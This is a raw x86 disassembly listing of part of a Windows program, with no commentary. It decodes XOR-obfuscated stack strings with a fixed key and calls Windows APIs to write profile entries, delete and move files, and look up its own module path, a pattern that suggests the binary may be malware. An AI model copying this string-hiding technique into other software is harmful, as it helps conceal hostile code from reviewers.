mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xa60]
movaps xmmword [ebp - 0xa60], xmm1
call fcn.00460730
lea eax, [ebp - 0x2b50]
mov dword [ebp - 0x2b50], edi
push eax
mov ecx, 0x67cf40
call fcn.00460bb0
mov edi, dword [ebp - 0x2b50]
jmp 0x456183
mov dword [ebp - 0x970], 0x833e9658
lea ecx, [ebp - 0x970]
mov dword [ebp - 0x96c], 0x875c9a02
lea edx, [ecx + 1]
mov dword [ebp - 0x968], 0x51a004c0
mov dword [ebp - 0x964], 0x863b5edf
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x970]
movaps xmmword [ebp - 0x970], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4563e7
sub ecx, edx
lea eax, [ebp - 0x970]
push ecx
push eax
lea ecx, [ebp - 0x1348]
call fcn.0045f3c0
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
cmp edi, 2
jne 0x4565ec
mov dword [ebp - 0x930], 0xad41fd34
lea ecx, [ebp - 0x930]
mov dword [ebp - 0x92c], 0x875c9a32
lea edx, [ecx + 1]
mov dword [ebp - 0x928], 0x51a004c0
mov dword [ebp - 0x924], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x930]
movaps xmmword [ebp - 0x930], xmm1
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456480
sub ecx, edx
lea eax, [ebp - 0x930]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3c0
mov dword [ebp - 0xda0], 0xad6eb827
lea eax, [ebp - 0x430]
mov dword [ebp - 0xd9c], 0x873b9a5c
mov dword [ebp - 0xd98], 0x51c104b5
mov dword [ebp - 0xd94], 0x865e5eb8
mov dword [ebp - 0xd90], 0x703f3575
mov dword [ebp - 0xd8c], 0x59cf328
mov dword [ebp - 0xd88], 0x41b1e62
mov dword [ebp - 0xd84], 0x60eff0d5
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xda0]
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
movaps xmmword [ebp - 0xda0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd90]
push eax
movaps xmmword [ebp - 0xd90], xmm1
lea eax, [ebp - 0xda0]
mov dword [ebp - 0xa50], 0xad60b828
mov dword [ebp - 0xa4c], 0x873a9a5c
mov dword [ebp - 0xa48], 0x51c704a9
mov dword [ebp - 0xa44], 0x863b5edf
movaps xmm1, xmmword [ebp - 0xa50]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee48
push eax
movaps xmmword [ebp - 0xa50], xmm1
lea eax, [ebp - 0xa50]
jmp 0x45679a
mov dword [ebp - 0x920], 0xad41ee34
lea ecx, [ebp - 0x920]
mov dword [ebp - 0x91c], 0x875c9a32
lea edx, [ecx + 1]
mov dword [ebp - 0x918], 0x51a004c0
mov dword [ebp - 0x914], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x920]
movaps xmmword [ebp - 0x920], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456633
sub ecx, edx
lea eax, [ebp - 0x920]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3c0
mov dword [ebp - 0xe20], 0xad6eb827
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe1c], 0x873b9a5c
mov dword [ebp - 0xe18], 0x51c104b5
mov dword [ebp - 0xe14], 0x865e5eb8
mov dword [ebp - 0xe10], 0x703f3575
mov dword [ebp - 0xe0c], 0x59cf328
mov dword [ebp - 0xe08], 0x41b1e62
mov dword [ebp - 0xe04], 0x60eff0d5
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe20]
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
movaps xmmword [ebp - 0xe20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe10]
push eax
movaps xmmword [ebp - 0xe10], xmm1
lea eax, [ebp - 0xe20]
mov dword [ebp - 0x9c0], 0xad60b828
mov dword [ebp - 0x9bc], 0x873a9a5c
mov dword [ebp - 0x9b8], 0x51c704a9
mov dword [ebp - 0x9b4], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x9c0]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee4c
push eax
movaps xmmword [ebp - 0x9c0], xmm1
lea eax, [ebp - 0x9c0]
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push eax
call esi
mov eax, dword [0x67ee24]
shr eax, 5
test al, 1
je 0x45683e
mov dword [ebp - 0x900], 0xf559f934
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x8fc], 0x875c9a00
lea edx, [ecx + 1]
mov dword [ebp - 0x8f8], 0x51a004c0
mov dword [ebp - 0x8f4], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x900]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0x900], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456822
sub ecx, edx
lea eax, [ebp - 0x900]
push ecx
push eax
lea ecx, [ebp - 0x8e8]
call fcn.0045f3c0
lea eax, [ebp - 0x1348]
push eax
push 0
lea ecx, [ebp - 0x8e8]
call fcn.0045e3b0
sub esp, 0x18
mov dword [ebp - 0xac0], 0xc36bdb44
mov dword [ebp - 0xabc], 0xee3bf91f
lea eax, [ebp - 0xac0]
mov dword [ebp - 0xab8], 0x30d270ef
mov ecx, esp
mov dword [ebp - 0xab4], 0x863b3bbc
movaps xmm1, xmmword [ebp - 0xac0]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
push eax
movaps xmmword [ebp - 0xac0], xmm1
call fcn.0045e6b0
mov byte [ebp - 4], 4
lea eax, [ebp - 0xab0]
sub esp, 0x18
mov dword [ebp - 0xab0], 0x833d8e5a
mov dword [ebp - 0xaac], 0xa965af03
mov ecx, esp
mov dword [ebp - 0xaa8], 0x7f9537f1
mov dword [ebp - 0xaa4], 0x86096ded
movaps xmm1, xmmword [ebp - 0xab0]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xab0], xmm1
call fcn.0045e6b0
lea ecx, [ebp - 0x1378]
mov byte [ebp - 4], 3
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 5
lea eax, [ebp - 0xaa0]
mov dword [ebp - 0xaa0], 0x904cf727
lea ecx, [ebp - 0x1378]
mov dword [ebp - 0xa9c], 0x875cd464
mov dword [ebp - 0xa98], 0x51a004c0
mov dword [ebp - 0xa94], 0x863b5edf
movaps xmm1, xmmword [ebp - 0xaa0]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push 0
push eax
movaps xmmword [ebp - 0xaa0], xmm1
call fcn.0045e330
cmp eax, 0xffffffff
je 0x456ac7
mov dword [ebp - 0xb20], 0xdd21d61d
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0xb1c], 0xea3bf847
lea edx, [ecx + 1]
mov dword [ebp - 0xb18], 0x39ce72ee
mov dword [ebp - 0xb14], 0xe51526be
mov dword [ebp - 0xb10], 0x703f581a
mov dword [ebp - 0xb0c], 0x59cf328
mov dword [ebp - 0xb08], 0x41b1e62
mov dword [ebp - 0xb04], 0x60eff0d5
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb20]
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
movaps xmmword [ebp - 0xb20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb10]
movaps xmmword [ebp - 0xb10], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ab8
lea eax, [ebp - 0xb20]
jmp 0x456b43
mov dword [ebp - 0x910], 0xca6dcd1b
lea ecx, [ebp - 0x910]
mov dword [ebp - 0x90c], 0xe92ab45f
lea edx, [ecx + 1]
mov dword [ebp - 0x908], 0x7fd865a8
mov dword [ebp - 0x904], 0x865631bc
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x910]
movaps xmmword [ebp - 0x910], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456b36
lea eax, [ebp - 0x910]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x988]
call fcn.0045f290
cmp dword [ebx + 8], 1
jne 0x456b66
mov eax, dword [ebp - 0x2b2c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0044d800
mov dword [ebp - 0xe40], 0xad7db83f
lea eax, [ebp - 0x430]
mov dword [ebp - 0xe3c], 0x871f9a4b
mov dword [ebp - 0xe38], 0x51d504af
mov dword [ebp - 0xe34], 0x864f5eb1
mov dword [ebp - 0xe30], 0x703f3575
mov dword [ebp - 0xe2c], 0x59cf328
mov dword [ebp - 0xe28], 0x41b1e62
mov dword [ebp - 0xe24], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0xe40]
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xe40], xmm1
movaps xmm1, xmmword [ebp - 0xe30]
push eax
mov dword [ebp - 0x850], 0x703f3575
lea eax, [ebp - 0xe40]
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
pxor xmm1, xmmword [ebp - 0x850]
push 0x66ee4c
movaps xmmword [ebp - 0xe30], xmm1
mov dword [ebp - 0xa90], 0xad5bb839
mov dword [ebp - 0xa8c], 0x875c9a32
mov dword [ebp - 0xa88], 0x51a004c0
mov dword [ebp - 0xa84], 0x863b5edf
movaps xmm1, xmmword [ebp - 0xa90]
push eax
mov dword [ebp - 0x850], 0xad0fb86b
lea eax, [ebp - 0xa90]
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa90], xmm1
call esi
movzx eax, byte [0x67edf8]
lea edx, [ebp - 0xe60]
mov edi, dword [ebp - 0x2b38]
mov ecx, 1
mov dword [ebp - 0xe60], 0xce6ad028
test edi, edi
mov dword [ebp - 0xe5c], 0xe032f359
mov dword [ebp - 0xe58], 0x30cf68e0
cmovg eax, ecx
mov dword [ebp - 0xe54], 0xa8493bbb
mov ecx, 0x67ce28
mov dword [ebp - 0xe50], 0x703f1b5b
mov dword [ebp - 0xe4c], 0x59cf328
mov dword [ebp - 0xe48], 0x41b1e62
mov dword [ebp - 0xe44], 0x60eff0d5
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xe60]
movaps xmmword [ebp - 0xe60], xmm1
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xe50]
mov byte [0x67edf8], al
movaps xmmword [ebp - 0xe50], xmm1
call fcn.00460730
push eax
call fcn.00460b00
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x940], 0xcc60d444
mov dword [ebp - 0x93c], 0xaa2eff56
sub esp, 0x14
mov dword [ebp - 0x938], 0x22d261b6
mov esi, esp
mov dword [ebp - 0x934], 0x865531b6
movaps xmm1, xmmword [ebp - 0x940]
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0x940], xmm1
call fcn.004611d0
lea ecx, [ebp - 0x940]
mov byte [ebp - 4], 6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456e48
sub ecx, edx
lea eax, [ebp - 0x940]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
mov dword [ebp - 0x960], 0xca6dcd1b
sub esp, 0x18
mov dword [ebp - 0x95c], 0xe92ab45f
mov esi, esp
mov dword [ebp - 0x958], 0x7fd865a8
mov ecx, esi
mov dword [ebp - 0x954], 0x865631bc
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x960]
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0x960], xmm1
call fcn.004611d0
lea ecx, [ebp - 0x960]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456ef0
sub ecx, edx
lea eax, [ebp - 0x960]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2230]
mov byte [ebp - 4], 5
call fcn.0044fb60
add esp, 0x30
mov byte [ebp - 4], 9
lea eax, [ebp - 0xa10]
mov dword [ebp - 0xa10], 0xfe5dfd3d
lea ecx, [ebp - 0x2230]
mov dword [ebp - 0xa0c], 0xba12d57b
mov dword [ebp - 0xa08], 0x51a004c0
mov dword [ebp - 0xa04], 0x863b5edf
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xa10]
push 0
push eax
movaps xmmword [ebp - 0xa10], xmm1
call fcn.0045e330
cmp eax, 0xffffffff
je 0x45d095
push 0
lea eax, [ebp - 0x1360]
push eax
lea ecx, [ebp - 0x2230]
call fcn.0045e370
cmp eax, 0xffffffff
jne 0x4571eb
push 0x104
lea eax, [ebp - 0x840]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0xb40], 0xcc60d444
sub esp, 0x18
mov dword [ebp - 0xb3c], 0xa92eff56
mov esi, esp
mov dword [ebp - 0xb38], 0x23c36aa5
mov ecx, esi
mov dword [ebp - 0xb34], 0xe34f2ea6
mov dword [ebp - 0xb30], 0x195d1b11
mov dword [ebp - 0xb2c], 0x59cf346
mov dword [ebp - 0xb28], 0x41b1e62
mov dword [ebp - 0xb24], 0x60eff0d5
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xb40]
movaps xmmword [ebp - 0xb40], xmm1
movaps xmm1, xmmword [ebp - 0xb30]
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0xb30], xmm1
call fcn.004611d0
lea ecx, [ebp - 0xb40]
mov byte [ebp - 4], 0xa
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4570d0
sub ecx, edx
lea eax, [ebp - 0xb40]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
lea eax, [ebp - 0x2ce0]
mov dword [ebp - 0x2cf0], 0xca6dcd1b
push eax
lea eax, [ebp - 0x2cf0]
mov dword [ebp - 0x2cec], 0xe92ab45f
push eax
lea ecx, [ebp - 0x33f0]
mov dword [ebp - 0x2ce8], 0x7fd865a8
mov dword [ebp - 0x2ce4], 0x865631bc
call fcn.0045f450
mov dword [ebp - 0x950], 0xca6dcd1b
sub esp, 0x18
mov dword [ebp - 0x94c], 0xe92ab45f
mov esi, esp
mov dword [ebp - 0x948], 0x7fd865a8
mov ecx, esi
mov dword [ebp - 0x944], 0x865631bc
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0x950]
mov dword [ebp - 0x2b2c], esi
push dword [ebp - 0x2b34]
movaps xmmword [ebp - 0x950], xmm1
call fcn.004611d0
lea ecx, [ebp - 0x950]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4571b4
sub ecx, edx
lea eax, [ebp - 0x950]
push ecx
push eax
mov ecx, esi
call fcn.004611f0
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 9
call fcn.0044dbb0
mov esi, eax
add esp, 0x30
test esi, esi
jne 0x45d7cd
jmp 0x45d39a
lea ecx, [ebp - 0x2230]
mov byte [ebp - 4], 5
call fcn.0045e560
mov dword [ebp - 0xb80], 0xce6ad028
lea edx, [ebp - 0xb80]
mov dword [ebp - 0xb7c], 0xe032f359
mov ecx, 0x67ce28
mov dword [ebp - 0xb78], 0x1dec40e0
mov dword [ebp - 0xb74], 0x861570f1
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb80]
movaps xmmword [ebp - 0xb80], xmm1
call fcn.00460730
push eax
call fcn.00460b00
movzx eax, byte [0x67edf8]
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test edi, edi
mov dword [ebp - 0xd80], 0xad60b828
mov ecx, 1
mov dword [ebp - 0xd7c], 0x872f9a5c
cmovg eax, ecx
mov dword [ebp - 0xd78], 0x51d204b4
mov dword [ebp - 0xd74], 0x86585eaa
mov dword [ebp - 0xd70], 0x70503501
mov dword [ebp - 0xd6c], 0x5b2f35a
mov dword [ebp - 0xd68], 0x4771e06
mov dword [ebp - 0xd64], 0x60eff0b9
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x860]
pxor xmm1, xmmword [ebp - 0xd80]
mov byte [0x67edf8], al
lea eax, [ebp - 0x228]
push 0
push eax
movaps xmmword [ebp - 0xd80], xmm1
lea eax, [ebp - 0xd80]
movaps xmm1, xmmword [ebp - 0xd70]
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xd70], xmm1
call esi
mov dword [ebp - 0xf30], 0xad60b828
mov dword [ebp - 0xf2c], 0x872f9a5c
mov dword [ebp - 0xf28], 0x51d204b4
mov dword [ebp - 0xf24], 0x86585eaa
mov dword [ebp - 0xf20], 0x70503501
mov dword [ebp - 0xf1c], 0x5b2f35a
mov dword [ebp - 0xf18], 0x4771e06
mov dword [ebp - 0xf14], 0x60c1f0b9
mov dword [ebp - 0xf10], 0x58487ed
mov dword [ebp - 0xf0c], 0xc870fe3d
mov dword [ebp - 0xf08], 0x22b58714
mov dword [ebp - 0xf04], 0x75f60763
movaps xmm1, xmmword [ebp - 0xf30]
mov dword [ebp - 0x8a0], 0xad0fb86b
mov dword [ebp - 0x89c], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x8a0]
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
movaps xmmword [ebp - 0xf30], xmm1
lea eax, [ebp - 0x638]
movaps xmm1, xmmword [ebp - 0xf20]
pxor xmm1, xmmword [ebp - 0x890]
push 0
push eax
movaps xmmword [ebp - 0xf20], xmm1
lea eax, [ebp - 0xf30]
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf10]
push 0x104
push eax
movaps xmmword [ebp - 0xf10], xmm1
call esi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4576d9
call esi
cmp eax, 2
je 0x4576d9
call esi
mov dword [ebp - 0x11a0], 0xc166d92d
mov dword [ebp - 0x119c], 0xf37cfe57
mov dword [ebp - 0x1198], 0x34c424af
mov dword [ebp - 0x1194], 0xe34f3bb3
mov dword [ebp - 0x1190], 0x135e5755
mov dword [ebp - 0x118c], 0x25ec8643
mov dword [ebp - 0x1188], 0x28575226
mov dword [ebp - 0x1184], 0x129d95f5
mov dword [ebp - 0x1180], 0x66c5f5e0
mov dword [ebp - 0x117c], 0xf2159a39
mov dword [ebp - 0x1178], 0x28d1a234
mov dword [ebp - 0x1174], 0x75f60763
mov dword [ebp - 0x8a0], 0xad0fb86b
mov dword [ebp - 0x89c], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x11a0]
movaps xmmword [ebp - 0x11a0], xmm1
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1190]
movaps xmmword [ebp - 0x1190], xmm1
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1180]
push eax
lea eax, [ebp - 0x11a0]
movaps xmmword [ebp - 0x1180], xmm1
push eax
call fcn.0044b300
mov dword [ebp - 0xb90], 0xfe5af93b
lea eax, [ebp - 0xb90]
mov dword [ebp - 0xb8c], 0x875c9a77
mov dword [ebp - 0xb88], 0x51a004c0
mov dword [ebp - 0xb84], 0x863b5edf
movaps xmm1, xmmword [ebp - 0xb90]
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xb90], xmm1
call fcn.005d657d
add esp, 0xc
lea ecx, [ebp - 0x1378]
call fcn.0045e560
lea ecx, [ebp - 0x8e8]
call fcn.0045e560
lea ecx, [ebp - 0x1348]
call fcn.0045e560
lea ecx, [ebp - 0x988]
call fcn.0045e560
lea ecx, [ebp - 0x1360]
call fcn.0045e560
jmp 0x45d075
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x457c14
call esi
cmp eax, 2
je 0x457c14
call esi
mov esi, eax
mov dword [ebp - 0x2018], 0xc82fd62a
lea eax, [ebp - 0x1fd8]
mov dword [ebp - 0x2014], 0xf533e840
push eax
lea eax, [ebp - 0x2018]
mov dword [ebp - 0x2010], 0x32c36be0
push eax
lea ecx, [ebp - 0x3378]
mov dword [ebp - 0x200c], 0xe25e2caa
mov dword [ebp - 0x2008], 0x15574255
mov dword [ebp - 0x2004], 0x64fed346
mov dword [ebp - 0x2000], 0x6a727501
mov dword [ebp - 0x1ffc], 0x109ad0b2
mov dword [ebp - 0x1ff8], 0x49a9c3af
mov dword [ebp - 0x1ff4], 0xba15d676
mov dword [ebp - 0x1ff0], 0x2c7e866
mov dword [ebp - 0x1fec], 0x10926800
mov dword [ebp - 0x1fe8], 0x5dc238e3
mov dword [ebp - 0x1fe4], 0x414bf1d5
mov dword [ebp - 0x1fe0], 0x12771dd6
mov dword [ebp - 0x1fdc], 0x6f59e049
call fcn.0045f450
lea eax, [ebp - 0x2018]
mov dword [ebp - 0x8b0], 0xad0fb86b
push eax
lea eax, [ebp - 0x2058]
mov dword [ebp - 0x8ac], 0x875c9a32
push eax
lea ecx, [ebp - 0x3370]
mov dword [ebp - 0x2058], 0xad0fb86b
mov dword [ebp - 0x2054], 0x875c9a32
mov dword [ebp - 0x8a8], 0x51a004c0
mov dword [ebp - 0x8a4], 0x863b5edf
mov dword [ebp - 0x2050], 0x51a004c0
mov dword [ebp - 0x204c], 0x863b5edf
mov dword [ebp - 0x8a0], 0x703f3575
mov dword [ebp - 0x89c], 0x59cf328
mov dword [ebp - 0x2048], 0x703f3575
mov dword [ebp - 0x2044], 0x59cf328
mov dword [ebp - 0x898], 0x41b1e62
mov dword [ebp - 0x894], 0x60eff0d5
mov dword [ebp - 0x2040], 0x41b1e62
mov dword [ebp - 0x203c], 0x60eff0d5
mov dword [ebp - 0x890], 0x5e5878f
mov dword [ebp - 0x88c], 0xc870fe56
mov dword [ebp - 0x2038], 0x5e5878f
mov dword [ebp - 0x2034], 0xc870fe56
mov dword [ebp - 0x888], 0x22b58714
mov dword [ebp - 0x884], 0x75f60763
mov dword [ebp - 0x2030], 0x22b58714
mov dword [ebp - 0x202c], 0x75f60763
mov dword [ebp - 0x880], 0x39e718d9
mov dword [ebp - 0x87c], 0x414bfbfc
mov dword [ebp - 0x2028], 0x39e718d9
mov dword [ebp - 0x2024], 0x414bfbfc
mov dword [ebp - 0x878], 0x12771dd6
mov dword [ebp - 0x874], 0x6f59e049
mov dword [ebp - 0x2020], 0x12771dd6
mov dword [ebp - 0x201c], 0x6f59e049
call fcn.0045f450
mov dword [ebp - 0x12d0], 0xc82fd62a
mov dword [ebp - 0x12cc], 0xf533e840
mov dword [ebp - 0x2098], 0xc82fd62a
mov dword [ebp - 0x2094], 0xf533e840
